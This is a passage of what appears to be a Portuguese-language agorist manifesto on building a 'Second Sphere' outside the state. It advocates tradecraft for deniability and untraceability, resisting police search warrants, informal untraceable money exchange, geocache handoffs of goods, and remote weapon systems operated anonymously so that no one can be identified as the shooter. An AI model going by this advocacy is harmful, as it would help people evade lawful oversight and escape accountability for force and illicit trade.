&lt;p>Já que nós utilizamos a palavra &amp;ldquo;justificado&amp;rdquo; ou &amp;ldquo;justificativa&amp;rdquo; repetidamente acima, sejamos claros do que ela significa: Nosso conhecimento das ações - ou nosso envolvimento com elas - é apenas justificado se elas envolvem nossa propriedade ou acordos conflitantes que tenhamos com qualquer uma das partes atuantes. &lt;strong>Qualquer coisa que não envolva qualquer uma dessas coisas - propriedade ou contrato - simplesmente não é da nossa conta.&lt;/strong>&lt;/p>
&lt;p>Esconder ações e informação da vista de terceiros impede os mesmos de adquirir uma vantagem que pode ser usada contra nós - tanto por coletar evidência ou por descobrir pistas que os possibilite intervir em situações futuras.&lt;/p>
&lt;hr>
&lt;p>Irrastreabilidade. Enquanto caso especial de opacidade, e portanto já discutido antes, isso merece nota por si só.
A irrastreabilidade se refere à função da qual o movimento de um objeto de um dono para outro, de um local para outro ou de uma condição para outra, se mantém oculta de qualquer parte que não tenha justificada necessidade de ter essa informação.&lt;/p>
&lt;p>Isso impede agressores de revelar informações ao ligar várias trocas ou pedaços de informação e, novamente, serve para minimizar a evidência que pode ser coletada ou pistas a serem seguidas.&lt;/p>
&lt;hr>
&lt;p>Compartimentalização. Novamente, é a atitude quase onipresente que rasteja em nossos subconscientes que nos traz ao bisbilhotamento, hierarquias de comando-e-controle e àquele sentimento estranho de que não pediram nossa permissão nem nos envolveram em tudo - mesmo quando não tem justificativa para sermos incluídos.&lt;/p>
&lt;p>Em vez disso, deveríamos começar a apreciar a iniciativa individual e a competição de ideias e soluções sem que tudo seja planejado central ou coletivamente, amplamente difundido e perfeitamente sincronizado.
Enquanto nossa curiosidade humana deseja ser fomentada é por vezes mais lucrativo separar nossas ações das dos outros de forma que um terceiro seja impedido de vigiar o processo todo ou de juntar informação o suficiente para agir contra nós.&lt;/p>
&lt;hr>
&lt;p>Negabilidade. Se todos os esforços anteriores em impedir que nossos oponentes tenham uma visão clara do que fazemos falharem, se faz necessário que ao menos os impeçamos de usar essa informação contra nós como indivíduos. É aqui que entra a negabilidade e também coloca todos os outros métodos em contexto.&lt;/p>
&lt;p>Ser capaz de negar nosso envolvimento em uma ação específica de forma plausível deixa mais difícil que um terceiro nos acuse com convicção, assim evitando sermos lesados quando todo o resto falhar.&lt;/p>
&lt;hr>
&lt;p>Os conceitos introduzidos acima - Negabilidade, Opacidade, Irrastreabilidade, Compartimentalização, Anonimidade e Pseudonimidade ^[Mnemônico: NO, I CAP] - aplicados nessa ordem, são o antídoto para a onisciência imaginária de nossos oponentes. Em vez de dispersar a informação por toda parte e deixar para trás rastros a cada movimento, a base disso é o &lt;strong>Princípio da Necessidade-de-Saber&lt;/strong>. É necessário limitar a informação ao mínimo do mínimo para as partes convidadas e envolvidas. A informação justamente requerida pode, e vai, variar caso a caso, mas partes não convidadas nem afetadas devem ser impedidas de obter qualquer informação significante ou usar de dedução à conclusões potencialmente danosas. A arte de implementar os objetivos de &amp;ldquo;Necessidade-de-Saber&amp;rdquo; é comumente conhecido como &lt;strong>Tradecraft&lt;/strong>.&lt;/p>
&lt;hr>
&lt;p>Usar a estratégia de informação mínima traz alguns riscos próprios.&lt;/p>
&lt;p>Primeiro, pode ser contraprodutivo para a coesão social dentro da nossa subcultura e grupos sociais. Isso requer que nós não deixemos que a paranóia nos governe e nem que a segurança se torne uma religião. Uma contramedida a esse tipo de risco é a especialização descrita na próxima seção.&lt;/p>
&lt;p>O segundo risco é o de que nós negligenciemos a necessidade de evidências para viabilizar nosso sistema interno de justiça.
Há duas soluções para isso. Uma é que nós devemos projetar métodos de interação que limitam drasticamente o potencial para comportamento criminoso ou outrora prejudicial. Alguns desses métodos são mencionados mais além.&lt;/p>
&lt;p>Outra forma é lembrar-nos que a evidência não precisa estar disponível publicamente sem que uma parte envolvida denuncie uma transgressão. Nós podemos projetar nossos sistemas de forma que apenas as partes afetadas podem recorrer à evidência revelada sob demanda para que possa ser apresentada à mediação ou procedimento de arbitragem.&lt;/p>
&lt;p>Cabe a nós projetar formas de interação não baseadas no pensamento coletivista mas na responsabilidade individual. Enquanto isso pode soar impossível, não é: Muitos desses métodos e processos estavam em uso antes dos Estados fortes e a cultura coletivista imperarem - apenas temos que redescobri-los.&lt;/p>
&lt;h2 id="especialização">Especialização&lt;/h2>
&lt;p>Uma boa aplicação de Tradecraft nos apresenta dois desafios. Se por um lado muito tradecraft pode ser contraprodutivo para a coesão social e organização. Por outro lado, é difícil que todos os indivíduos dominem a arte do tradecraft em todas as situações.&lt;/p>
&lt;p>A solução para esse desafio é a especialização. Empreendedores podem ser excelentes em prover serviços de Tradecraft para outros agentes no mercado ao criar formas de comunicação oculta, salas-de-troca opacas, transporte irrastreável ou pseudônimos assegurados. Isso livra os outros agentes de ter que investir nessas habilidades e impede que a cultura da paranoia engesse tudo o que fazemos. Porém, a especialização não pode servir de desculpa para que qualquer um ignore esse assunto ou baixe a guarda para essa necessidade.&lt;/p>
&lt;hr>
&lt;p>Outra área única para a nossa situação é a integração no cenário econômico maior. Já que tamanho de mercado e diversidade suficientes só podem ser esperados no longo prazo, nos obrigamos a interagir e integrar com outros mercados a não ser que fiquemos numa economia de subsistência. No entanto, essa integração vem com um alto risco.&lt;/p>
&lt;p>Estes fatos abrem espaço para uma carreira que é especialmente interessante para pessoas que não encontraram uma vocação (ou que deixaram uma vocação anterior) e estão procurando por oportunidades de baixo investimento: O mercador-intermediário.&lt;/p>
&lt;p>Um mercador-intermediário é uma ponte conectando a Segunda Esfera à Primeira Esfera enquanto minimiza riscos. Muitas formas de união são concebíveis, de pessoas que manejam trocas entre dinheiro da Segunda Esfera e moedas oficiais até agentes de compra e troca. Nós deixamos ao leitor que invente seu próprio nicho.&lt;/p>
&lt;h2 id="segurança-e-defesa">Segurança e Defesa&lt;/h2>
&lt;p>Vamos encarar os fatos: Ambas a Primeira e Segunda Esferas não são campos floridos onde nada dá errado e apenas pessoas bem intencionadas e pacíficas vagam.&lt;/p>
&lt;p>Enquanto a maioria das pessoas na maior parte do tempo não são violentas e não participam pessoalmente de roubo (a maioria terceiriza para os fiscais do governo), existem alguns que empregam força para atingir seus objetivos.&lt;/p>
&lt;hr>
&lt;p>Aos olhos da Primeira Esfera, a Segunda Esfera é território sem lei e habitado por foras-da-lei - e isso é exatamente a visão que outros fora-da-lei terão também. Nós não podemos e nem devemos empregar a proteção e &amp;ldquo;serviços&amp;rdquo; de segurança da Primeira Esfera a não ser que abramos mão de nossa independência. Logo, se faz necessário a nós, prover esses serviços nós mesmos e desenvolver uma mentalidade para contrapor essa ideia. Já que esse assunto não pode ser coberto completamente neste livro, nós vamos apenas iniciar o dialogo e convidar empreendedores dessa área que dêem continuidade.&lt;/p>
&lt;hr>
&lt;p>A segurança começa com a manutenção da paz. Enquanto isso pode soar óbvio é, no entanto, muitas vezes esquecido. Manter a paz significa que alguém está empenhado em não começar encrenca e ficar fora de risco antes que um conflito possa começar ou escalar. Nós devemos evitar provocar outros a nos atacar pelo comportamento que demonstramos. Começa por não empregarmos violência nós mesmos a não ser que aconteça em legítima-defesa, não passando outros para trás, não quebrando acordos, não se gabando e desafiando. Tranquilidade, integridade e honestidade combinadas com confiança reduzem o risco de conflito imensamente.&lt;/p>
&lt;hr>
&lt;p>Ser apenas passivo, no entanto, não ajuda. Uma defesa de sucesso começa com preparação e ações preventivas. Isso não só inclui o preparo de instalações defensivas, mas também a escolha de local e especialmente a limitação ativa de coleta de inteligência hostil por potenciais adversários.&lt;/p>
&lt;p>Além disso, é lucrativo empregar atividades de contrainteligência discretas para desenvolver uma visão geral das ameaças em potencial e a habilidade de detectar ações contra nós antes que sejam executadas.&lt;/p>
&lt;hr>
&lt;p>Escolha de locais para nossas zonas autônomas temporárias é uma tarefa crucial. Três fatores devem ser enfatizados aqui.&lt;/p>
&lt;p>Primeiro, nossas instalações e propriedade podem ser convidativas ou desinteressantes a agressores. Claro que uma grande placa escrito &amp;ldquo;Território fora-da-lei para capitalistas ricos&amp;rdquo; é uma má idéia, mas atributos mais sutis também podem igualmente ser problema.&lt;/p>
&lt;p>Segundo, nossa primeira linha de defesa é o controle de acesso. Todo dono de boate sabe que bons seguranças mantêm os incômodos do lado de fora. Ser cauteloso sobre quem entra em nossos locais reduz drasticamente o risco de surpresas desagradáveis.&lt;/p>
&lt;p>Terceiro, caminhos para se chegar a um lugar protegido devem ser conhecidos, observados e controlados. Saber que um ataque é iminente e ser capaz de tanto atrasar o atacante como saber de quais direções ele pode atacar nos coloca em uma posição muito mais favorável do que nos entregarmos de bandeja.&lt;/p>
&lt;hr>
&lt;p>Para dar um exemplo quase perfeito de tal lugar vamos descrever uma boate exclusiva localizada numa grande cidade na Europa. ^[Esse lugar ainda está operando durante a escrita desse livro.]&lt;/p>
&lt;p>As salas da boate são no andar mais alto de um arranha-céus de 20-e-tantos andares numa área comercial. Há três formas de se chegar ao local - um elevador, duas escadas de emergência e o heliponto no terraço.&lt;/p>
&lt;p>O elevador e as escadas são guardadas por seguranças durante os horários comerciais da boate e equipadas com um sistema de câmeras controlado de dentro do perímetro da boate. O único jeito de entrar em uma das salas para um visitante comum é ligar para a boate enquanto aguarda pelo elevador no térreo, e se o acesso for permitido, o elevador é enviado para baixo com um ascensorista que então destrava o terraço com uma chave.&lt;/p>
&lt;p>O andar debaixo é um escritório com horários comerciais diferentes que é integrado ao sistema de alarme da boate.&lt;/p>
&lt;p>Em caso de invasão, os atacantes podem ser atrasados por vários minutos enquanto todo mundo dentro da boate é notificado imediatamente. Potenciais encrenqueiros podem ser repelidos de longe da zona protegida. Isso mantém o local pacífico enquanto permite que qualquer pessoa tome as devidas providências antes que os atacantes entrem no local. Idealmente, alguns procedimentos de evacuação envolvendo o heliponto podem ser implementados. Quaisquer ataques que não sejam de aniquilação total (como bombardeios) são quase impossíveis.&lt;/p>
&lt;p>Isso é obviamente uma operação muito elaborada e cara, mas pode servir de inspiração para a sua própria operação.&lt;/p>
&lt;p>Para mais informações, voltar à seção sobre &lt;a href="#zonas-aut%c3%b4nomas-tempor%c3%a1rias-revisadas">Zonas Autônomas Temporárias&lt;/a>
.&lt;/p>
&lt;hr>
&lt;p>E se um ataque realmente acontecer? Como já mencionado acima, a defesa contra um agente do Estado pode apenas consistir em atrasá-lo, ou temporariamente afastá-lo. Não se pode ganhar contra um Estado enorme - apenas morrer tentando. Tudo o que se pode fazer é limitar o impacto de uma invasão ao separar as evidências das pessoas em risco (Negabilidade) e ao escapar e se recuperar mais tarde.&lt;/p>
&lt;p>Em caso de outro fora-da-lei atacando, uma análise séria de custo-benefício deve ser feita e levada a uma defesa ativa e orientada à vitória. Antes que os pensamentos de alguém se percam aqui, vamos deixar claro que não estamos falando em entrar em guerra com contra-ataque no território adversário e tudo. É sobre limitar o estrago, não grandes vitórias como cobertas em livros de história.&lt;/p>
&lt;hr>
&lt;p>Sem ir muito fundo no assunto, vale notar que a questão de defesa coordenada é mais difícil para uma sociedade individualista do que para uma coletivista.&lt;/p>
&lt;p>O motivo disso é que a defesa é um jogo de números. O número, a força e a preparação das forças envolvidas assim como a habilidade de se coordenar rapidamente decidem o sucesso de qualquer tipo de impasse. De fato requer que indivíduos deleguem a liderança de forças da quais fazem parte - coisa que apenas alguns de nós estão preparados ou dispostos a fazer. Porém, pensar profundamente no problema em questão pode servir de preparação para isso. Defesa efetiva é baseada em mobilidade e flexibilidade, o agrupamento, regrupamento e dispersão dinâmica de agentes assim como a centralização sob demanda e descentralização de comando para o nível necessário de hierarquia.&lt;/p>
&lt;p>Se necessita desenvolver estratégias nessa área que sejam conhecidas por aqueles que se empenham em participar dessas ações - caso se façam necessárias - de forma que o consentimento individual em apoiar e participar podem ser garantidos e torne-se possível uma estimativa realista de recursos disponíveis.&lt;/p>
&lt;hr>
&lt;p>Do exposto acima, ja deveria ser óbvio que essa é uma área de especialização onde empreendedores podem ganhar a vida, como já é feito hoje. Também deveria ser óbvio que esses serviços precisam ser contratados por nós e não ignorados.&lt;/p>
&lt;hr>
&lt;p>Para inspirar empreendedores em potencial nessa indústria que queiram ser ativos na Segunda Esfera, duas tecnologias devem se fazer presentes que prometem ser úteis para nossa situação específica:&lt;/p>
&lt;p>&lt;strong>Controle de Acesso Anônimo e Remoto&lt;/strong>&lt;/p>
&lt;p>Um dia haverão batidas na porta de um de nossos locais protegidos: &amp;ldquo;Polícia, nós temos um mandato de busca&amp;rdquo;. Agora é a hora que o frio provedor de segurança da Segunda Esfera prova o quanto vale: Gadosamente apertar o botão para abrir a porta e botar em perigo todos que estão dentro, ou não fazer nada além de enviar um aviso para todos e deixar que os atacantes descubram uma forma de atravessar o portão reforçado de concreto. A combinação de um sistema de câmeras e a comunicação anônima reduz imensamente as consequências para o segurança remoto e lhe dá a liberdade de agir de acordo com o interesse de seus clientes. Para adicionar ainda mais segurança, múltiplos operadores anônimos localizados em diferentes locais desconhecidos poderiam ser necessários para concordar em uma ação, assim nem infiltração, propina, chantagem ou puro medo podem comprometer a segurança da zona autônoma temporária.&lt;/p>
&lt;p>&lt;strong>Sistemas de Defesa Anônimos Remotos&lt;/strong>&lt;/p>
&lt;p>Em um futuro mais distante, os sistemas de controle de acesso citados anteriormente poderiam ser estendidos para incorporar sistemas ativos de defesa quase-letais.
As plataformas de armas robóticas atualmente disponíveis similares as aquelas usadas na fronteira entre as Coréias poderiam ser integradas ao arsenal de empresas especializadas em defender zonas autônomas.
Novamente, comunicação anônima e sensores remotos são a fundação, mas dessa vez estendido à atribuição aleatória de tarefas a operadores anônimos remotos para que se torne impossível que um terceiro encontre provas de quem puxou o gatilho para afastar a gangue de rua atacante.&lt;/p>
&lt;hr>
&lt;p>Contrário ao que a maioria está acostumado, segurança não é nada que deva ser apenas feito por especialistas e profissionais, mesmo que a indústria de segurança e defesa forneça serviços especializados. Para preservar a autonomia a longo prazo é necessário contrabalancear o poder que qualquer provedor de segurança e defesa possa acumular. Enquanto deve-se estar preparado para buscar serviços de segurança no mercado, e logo pagar por eles, também faz-se necessário ter um contra-peso para nos piores casos nos quais um provedor de segurança tenta monopolizar sua posição.&lt;/p>
&lt;p>O método comprovado pelo tempo é não desistir de sua própria preparação e habilidades de defesa. Todos deviam estar preparados para resistir um provedor de segurança, dispostos a fazê-lo o quanto antes for necessário, e estar eternamente vigilante para não deixar que tal ameaça potencial passe despercebida. Isso, claro, requer ação coordenada por muitos já que uma pessoa só não poderá conter tal perigo sozinho. Portanto deve ser parte da nossa cultura ficar de olho naqueles que pagamos para nos defender. Lembre-se: É crucial para uma liberdade duradoura e estável da Segunda Esfera que todos estejam dispostos, atentos e capazes de aguentar tentativas de monopolizar sua indústria por parte dos provedores de segurança.&lt;/p>
&lt;hr>
&lt;p>Não se deixe assustar pela seção anterior. Medidas ativas de defesa são comuns e frequentemente passam despercebidas pela maioria das pessoas. Seja no setor de boates, indústria de acompanhantes ou seguranças - na maior parte do tempo nada acontece, e no resto acontecem apenas pequenos problemas. A vida é muito diferente do que é mostrado na TV. Na maioria dos países menos desenvolvidos é mais comum, já que o governo não se esforça para proteger um fora-da-lei de outro, ou até proteger o público dos fora-da-lei.&lt;/p>
&lt;p>Estar preparado, e agressores sabendo que você está, elimina a maior parte do risco da jogada. Isso é verdadeiro para qualquer agressor em potencial - Estado ou não. Vamos torcer para que a preparação seja o suficiente.&lt;/p>
&lt;h2 id="as-bênçãos-da-tecnologia">As Bênçãos da Tecnologia&lt;/h2>
&lt;p>Muitas das tarefas que nos confrontam parecem ser impossíveis de resolver no primeiro momento. E apenas algumas décadas atrás isso seria uma avaliação correta da situação. Por nossa sorte, os avanços da tecnologia dos últimos trinta anos nos abriram novas oportunidades.&lt;/p>
&lt;p>Duas áreas nas quais a tecnologia pode nos ajudar serão exploradas a seguir.&lt;/p>
&lt;hr>
&lt;p>A opressão pela Primeira Esfera nos força a empregar métodos para esconder nossas ações e não deixar evidências.&lt;/p>
&lt;p>Tecnologias de &lt;strong>comunicação anônima&lt;/strong> - muitas das quais estão disponíveis agora - nos permitem enviar e receber mensagens, navegar na internet e oferecer serviços digitais de forma que nem o remetente nem o destinatário podem ser identificados por terceiros.&lt;/p>
&lt;p>Sistemas de &lt;strong>dark-net&lt;/strong> nos dão a vantagem que precisamos para operar nossos próprios acessos controlados e redes de comunicação anônima como uma camada invisível sobre a internet.&lt;/p>
&lt;p>&lt;strong>Criptografia&lt;/strong> nos permite enviar mensagens que apenas os destinatários pretendidos possam ler.&lt;/p>
&lt;p>&lt;strong>Assinaturas digitais&lt;/strong> nos possibilitam assinar contratos de forma infalsificável para que comércio remoto e pseudônimo possa ser implementado.&lt;/p>
&lt;p>&lt;strong>Dinheiro digital anônimo e irrastreável&lt;/strong> torna nossas transações invisíveis para quem está de fora e impede qualquer tentativa de congelar nossos bens ou identificar o volume ou as partes envolvidas em nossas trocas.&lt;/p>
&lt;p>&lt;strong>Mobilidade e operação remota&lt;/strong> nos dá o poder de agir sem estar fisicamente presente, removendo os operadores dos ambientes de alto risco e tornando possíveis coisas como contra-espionagem segura, acesso físico resistente a chantagens e máquinas físicas de comércio.&lt;/p>
&lt;p>&lt;strong>Compartilhamento de segredos e divisão de segredos&lt;/strong> nos dão oportunidades de distribuir decisões e segredos para várias partes que podem apenas agir quando um limiar de concordância é atingido. Isso pode ser usado para criar ambos sistemas de garantia seguros e pseudônimos fortes que podem carregar uma reputação de longo prazo.&lt;/p>
&lt;p>&lt;strong>Consentimento distribuído&lt;/strong>, é a habilidade de disparar uma ação apenas se partes, muitas vezes anônimas, remotas e predefinidas concordem com a ação. Isso torna operações de coerção, chantagem e infiltração contra nós muito mais difíceis, enquanto dá às partes envolvidas uma negabilidade plausível.&lt;/p>
&lt;p>&lt;strong>Geocaching&lt;/strong> nos oferece algumas soluções para trocas físicas nas quais a parte vendedora está em risco. Colocar objetos em um local escondido e comunicar as coordenadas para o comprador mais tarde, permite que bens passem de mãos sem que ambas as partes tenham que se encontrar.&lt;/p>
&lt;hr>
&lt;p>No entanto, essas tecnologias vem com uma desvantagem quando nós temos que garantir contratos e desincentivar fraude em nossos grupos. Nossa linha de pensamento em criar evidências para mediação e casos de arbitragem, assim como a garantia de contratos, tem que mudar.&lt;/p>
&lt;p>&lt;strong>Garantias vinculadas&lt;/strong> são esquemas onde a pena máxima que pode ocorrer em uma troca fraudulenta precisa ser garantida pela parte de alta reputação e alcance. Isso nos permite garantir contratos mesmo se uma ou mais partes envolvidas desaparecer na neblina do anonimato após cometer seus crimes, tornando a fraude antieconômica.&lt;/p>
&lt;p>&lt;strong>Selos de segurança únicos invioláveis&lt;/strong> que são difíceis de falsificar e são destruídos ao violar combinados com uma gravação de vídeo com assinatura temporal e vários esquemas de pergunta de segurança nos permitem criar evidências bem seguras no caso de precisarmos provar que o bem alcançou a qualidade e quantidade do que foi combinado. Junto a garantias vinculadas e entrega em geocache, esse é um dos esquemas de troca de bens anônima sem botar o vendedor em risco de ser capturado ou o comprador em risco de fraude.&lt;/p>
&lt;p>Como regra geral nós precisamos encontrar meios de criar evidência necessária para potenciais processos de resolução de conflito sem entregar nossas identidades a terceiros não convidados. Vários desses métodos já foram encontrados, mas não é o propósito deste livro entrar em muito detalhe além de demonstrar a viabilidade dessa estratégia e inspirar pessoas a encontrarem suas próprias soluções no campo tático.&lt;/p>
&lt;h2 id="serviços-compartilhados">Serviços Compartilhados&lt;/h2>
&lt;p>Na Primeira Esfera esses a seguir são chamados de &amp;ldquo;serviços institucionais&amp;rdquo; e apenas providos &amp;ldquo;oficialmente&amp;rdquo; e com licenças para legitimar o controle exercido. As instituições se tornam organismos sociais por conta própria, se isolando de competição e abolimento.&lt;/p>
&lt;p>Na Segunda Esfera, competição, diversidade e escolha são a regra, que é o motivo de chamarmos esses de &amp;ldquo;serviços compartilhados&amp;rdquo;.&lt;/p>
&lt;hr>
&lt;p>A vida em si, e especialmente a estratégia de oposição, trás consigo uma variedade de riscos. Enquanto muitos desses riscos podem ser limitados ou mitigados, viver e agir sem assumir risco algum é impossível. Apenas pessoas de alta independência financeira podem encarar esses riscos por conta própria - ou pelo menos acreditam que podem.&lt;/p>
&lt;p>É crucial que criemos soluções para esse problema ao estabelecer &lt;strong>redes de ajuda mútua&lt;/strong>. Existem dois motivos para isso:&lt;/p>
&lt;p>Primeiro, nós temos que permitir que pessoas não precisem cair de volta no sistema de bem-estar social controlados pelo governo em caso de desastre. A liberdade requer uma separação do Estado nessas áreas também: &amp;ldquo;Para ser livre, o escravo deve primeiro recusar a esmola do mestre.&amp;rdquo;&lt;/p>
&lt;p>Contrário às ofertas do Estado, essa área precisa estar coberta pelos empreendedores e acordos de ajuda mútua a nível social. Ajudar nossos amigos necessitados enquanto ao mesmo tempo os encorajamos e os ajudamos a ajudarem a si mesmos, deve ser nosso objetivo. Se isso é melhor alcançado por operações comerciais ou a nível social, ainda está para ser descoberto - pelo mercado.
No entanto, nada no mercado acontece sem ser lucrativo ou com empreendedores sociais agindo e implementando soluções.&lt;/p>
&lt;p>Já que nós somos confrontados através de opressão Estatal, temos um conjunto bem específico de riscos a serem encarados e resolvidos. Algumas coisas que fazemos podem levar indivíduos a enfrentarem a fúria da Primeira Esfera, seja aprisionamento ou expropriação de bens. Para permitir que pessoas dêem os passos necessários, compartilhamento de riscos na forma de seguros para nossos negócios são essenciais. Pode ser pouca coisa como &amp;ldquo;suporte emocional&amp;rdquo; ao &lt;strong>visitar prisioneiros&lt;/strong>, ou melhor ajudando a pagar advogados e suporte econômico para as famílias em casa. Além da melhora na habilidade dos indivíduos de tomar mais riscos, isso também ajuda provendo uma maior coesão social. Mesmo assim, deve-se tomar cuidado para não encorajar as pessoas a assumirem riscos de forma indiscriminada ou se tornarem dependentes apenas da ajuda provida a eles pela sociedade da Segunda Esfera.&lt;/p>
&lt;hr>
&lt;p>Sistemas internos de justiça são outro exemplo de serviços compartilhados. Nós não vamos para um futuro utópico onde a fraude, o roubo e a agressão desaparecem. Em vez disso, temos que encontrar formas de prover sistemas de resolução de conflitos, garantias e restituições.&lt;/p>
&lt;p>Isso requer formas seguras de registrar contratos e reter evidências no caso de desentendimentos sem o risco de terceiros não convidados obterem qualquer informação.&lt;/p>
&lt;p>Ao usar esses &lt;strong>registros de contrato&lt;/strong> e &lt;strong>sistemas de retenção de evidências&lt;/strong>, as partes afetadas podem pedir por provedores de &lt;strong>mediação&lt;/strong> e &lt;strong>arbitragem&lt;/strong> e entregar todos os fatos necessários para decidir o caso.
Junto com serviços de &lt;strong>garantia&lt;/strong> (escrow) e &lt;strong>vínculo&lt;/strong> (bonding), a garantia de contrato se torna viável sem necessidade de aplicação agressiva de leis em esferas comerciais.
Além disso, sistemas robustos de pseudônimos e reputação podem prover meios de reduzir um risco futuro de agentes questionáveis e servir de inibidor contra violações repetidas.&lt;/p>
&lt;hr>
&lt;p>Pontos de troca que provêem caixas de depósito anônimas que são acessíveis por um vínculo digital negociável, são uma solução para proteger ambos comprador e vendedor, ao reduzir a necessidade de conduzir vendas pessoalmente.&lt;/p>
&lt;p>Outra ideia é o uso de &amp;ldquo;mesas de troca&amp;rdquo; que são acessíveis dos dois lados apenas por corredores difíceis de vigiar e que tem uma barreira entre as partes que não pode ser facilmente transposta e que protege a identidade de ambas as partes. Comprador e vendedor se seguram um ao outro com uma mão durante a troca, impedindo um lado de sair correndo enquanto a troca está pela metade, e usam a outra mão para mover os bens entre eles.
Essencialmente essas mesas de troca lembrariam o caixa do banco, mas protegendo ambas as partes igualmente.&lt;/p>
&lt;p>Ambos os serviços poderiam ser providos por clubes de negócio competidores ou salões de troca que não só se diferem no preço mas também nos métodos que provêem para trocas seguras.&lt;/p>
&lt;hr>
&lt;p>Outra instituição provida pelo sistema Estatal que deve ser substituída pelos serviços compartilhados da Segunda Esfera é o dinheiro, a sua transferência e liquidação. Dinheiro é um símbolo cultural incrivelmente poderoso que oferece formas de reconhecimento mútuo e pode representar os valores centrais de uma sociedade.&lt;/p>
&lt;p>É provável que a Segunda Esfera foque em moedas independentes, provavelmente pesos de ouro ou prata, e deveria fazê-lo para se separar da Primeira Esfera. Além disso, dinheiro digital anônimo e sistemas de transação podem superar limitações geográficas, regulação e controle da Primeira Esfera.&lt;/p>
&lt;p>Converter o dinheiro da Primeira Esfera para o da Segunda Esfera, e servir de ponte entre dinheiro físico e digital é uma tarefa que faz necessário um tipo especial de empreendedor: O cambista informal. Um cambista informal vai comprar e vender uma moeda pela outra, com a transação tendo liquidez imediata para o cliente.&lt;/p>
&lt;p>Enquanto esse segmento vem com alguns riscos definidos, também é acessível a pessoas de capital ou reputação limitados, já que não há rastro e os riscos de falta de liquidez são mínimos. Redes de cambistas informais conectados por moedas digitais permitem transferências de valor globais quase imediatas com o mínimo de custo e baixo risco ao cliente, tornando a Segunda Esfera virtualmente independente do dinheiro e bancos controlados pelo Estado.&lt;/p>
&lt;h2 id="segurança-por-penalidades-financeiras">Segurança Por Penalidades Financeiras&lt;/h2>
&lt;p>Como nota de encerramento desse capítulo é importante relembrar que penalidades financeiras sozinhas não são suficientes para prover segurança em trocas e comércio.&lt;/p>
&lt;p>O Estado é um oponente de bolsos fundos que pode exceder nossa oferta e travar a guerra de recursos contra os sistemas de garantia (escrow) e vínculo (bonding).&lt;/p>
&lt;p>Então também é necessária a criação de um sistema social que se mantém ciente dessa ameaça e deixa a vantagem nas nossas mãos, caso contrário desperdiçaremos recursos.&lt;/p>
&lt;h1 id="a-segunda-esfera---filosofia">A Segunda Esfera - Filosofia&lt;/h1>
&lt;p>Até agora esse texto lidou com assuntos um pouco deprimentes como segurança, defesa, análise da nossa situação e a ameaça de opressão que enfrentamos.&lt;/p>
&lt;p>Neste capítulo o foco será nos porquês fundamentais, a motivação de escolher essa luta, e o que isso nos promete.&lt;/p>
&lt;hr>
&lt;p>Por que todo esse trabalho? Nós já não somos livres? Nós já não desfrutamos de um alto nível de prosperidade?&lt;/p>
&lt;p>Porque nós não somos tão livres quanto deveríamos ser.
E o que é essa tal Liberdade que nós falamos?&lt;/p>
&lt;h2 id="o-que-é-liberdade">O que é Liberdade?&lt;/h2>
&lt;p>Sem nos aprofundar nas filosofias da liberdade aqui, têm-se que diferenciar entre duas maiores vertentes do pensamento &amp;ldquo;libertário&amp;rdquo;. Uma é o argumento da consequência, de que uma maior liberdade aumenta a prosperidade e esse é um objetivo a ser almejado para que a fome e outros perigos desapareçam. Enquanto concordamos que esse fim é preferível, nosso argumento é outro: O de que a liberdade é preferível por si só, sendo o objetivo final.&lt;/p>
&lt;hr>
&lt;p>A base para a liberdade é uma palavra pequena porém poderosa: &lt;strong>Autonomia.&lt;/strong> A qual vem do grego &amp;ldquo;autos&amp;rdquo;, significando &amp;ldquo;Própria&amp;rdquo;, e &amp;ldquo;nomos&amp;rdquo; significando &amp;ldquo;Lei&amp;rdquo;. Se refere à habilidade, direito ou desejo de algo a ser governado por sua própria lei. Então Anarquismo não é o que a mídia nos diz - a presença de caos ou um estado de ausência da lei - mas em vez disso a presença da lei escolhida por aqueles que estão sob a mesma, contrário à lei imposta por um regente ao um povo de súditos (Anarquia: Sem mestres). Nós vamos nos referir a Autonomia nesse sentido.&lt;/p>
&lt;hr>
&lt;p>O axioma ético básico da Liberdade é a &lt;strong>Autonomia Individual&lt;/strong> - que cada e toda pessoa tem o direito (ou seja: &amp;ldquo;é moralmente justificada&amp;rdquo;) a ser a autoridade final sobre a lei que escolhe para si, e que qualquer violação desse direito é um crime.&lt;/p>
&lt;p>É importante perceber que esse axioma da autonomia individual implica em várias coisas.&lt;/p>
&lt;p>Primeira, que a autonomia só se aplica à pessoa assegurando esse direito para si mesma, ela não implica no direito de governar outros. Ao tomar decisões sobre as regras que me governam, eu também não posso escolher quais regras vão afetar os outros. É apenas o &amp;ldquo;autos&amp;rdquo;, eu mesmo, que tenho obrigações à lei - ninguém mais.&lt;/p>
&lt;p>Segunda, que ao assegurar esse direito eu também tenho que ceder esse direito aos outros. Isso significa que sob nenhuma circunstância minhas ações devem sobrepôr a autonomia de outrem.&lt;/p>
&lt;p>Terceira, que a autonomia lida com regras que escolhemos como princípios de nos auto governar, mas essas regras não tem que ser concebidas nem podemos forçar outra pessoa a garantir a lei para com nós mesmos ou o universo. Quer gostemos ou não, a concepção de nossas regras é limitada pelas leis da natureza. Enquanto podemos decidir que a gravidade não se aplica a nós, isso não muda a aplicabilidade da gravidade. Também, não podemos forçar os outros a fazer nossas regras funcionarem por nós, já que isso violaria suas autonomias. No máximo podemos pedir ajuda - não obrigá-las. Apenas decidir que sempre vamos comer o que queremos não obriga ninguém a nos prover a comida, ou o universo a se tornar uma grande dispensa.&lt;/p>
&lt;hr>
&lt;p>Já que a aplicação da autonomia individual tem esses limites implícitos, e porque múltiplos indivíduos autônomos podem criar leis conflitantes, se faz necessário delimitar até onde se pode exercer sua autonomia.&lt;/p>
&lt;p>Esse escopo da autonomia é conhecido como &amp;ldquo;propriedade&amp;rdquo;. São os limites físicos nas quais a pessoa é a única fonte da lei. São físicos porque apenas a interação física pode limitar a autonomia de outro ser físico. E é necessária para que indivíduos tenham espaço para decidir por si mesmos e saber se suas decisões são justificadas.&lt;/p>
&lt;p>Qualquer tentativa de negar o conceito de propriedade individual e física é um ataque ao conceito de autonomia individual. Ambas são interligadas de forma inseparável no universo em que vivemos.&lt;/p>
&lt;hr>
&lt;p>Isso nos leva à segunda afirmação fundamental sobre liberdade. Liberdade não é independência pura ou auto-sustentabilidade. Já que a maioria de nós não consegue satisfazer nossas necessidades e desejos por nós mesmos, e porque nossos escopos de autonomia fazem fronteira uns nos outros, necessitamos de interação com as pessoas - acasalar, fazer trocas, socializar, etc.&lt;/p>
